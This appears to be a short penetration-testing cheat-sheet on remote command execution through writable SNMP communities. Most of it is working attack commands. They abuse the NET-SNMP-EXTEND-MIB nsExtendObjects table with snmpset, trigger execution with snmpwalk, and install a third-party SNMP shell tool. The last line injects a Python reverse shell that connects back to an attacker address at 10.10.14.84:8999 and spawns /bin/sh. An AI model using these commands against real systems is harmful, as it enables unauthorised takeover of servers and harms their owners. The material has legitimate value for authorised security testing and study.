# SNMP RCE

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## SNMP RCE

SNMP can be exploited by an attacker if the administrator overlooks its default configuration on the device or server. By **abusing SNMP community with write permissions (rwcommunity)** on a Linux operating system, the attacker can execute commands on the server.

### Extending Services with Additional Commands

To extend SNMP services and add extra commands, it is possible to append new **rows to the "nsExtendObjects" table**. This can be achieved by using the `snmpset` command and providing the necessary parameters, including the absolute path to the executable and the command to be executed:

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```

### Injecting Commands for Execution

Injecting commands to run on the SNMP service requires the existence and executability of the called binary/script. The **`NET-SNMP-EXTEND-MIB`** mandates providing the absolute path to the executable.

To confirm the execution of the injected command, the `snmpwalk` command can be used to enumerate the SNMP service. The **output will display the command and its associated details**, including the absolute path:

```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```

### Running the Injected Commands

When the **injected command is read, it is executed**. This behavior is known as **`run-on-read()`** The execution of the command can be observed during the snmpwalk read.

#### Gaining Server Shell with SNMP

To gain control over the server and obtain a server shell, a python script developed by mxrch can be utilized from [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).

Alternatively, a reverse shell can be manually created by injecting a specific command into SNMP. This command, triggered by the snmpwalk, establishes a reverse shell connection to the attacker's machine, enabling control over the victim machine. You can install the pre-requisite to run this:

```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```

Or a reverse shell:

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```

### References

* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)

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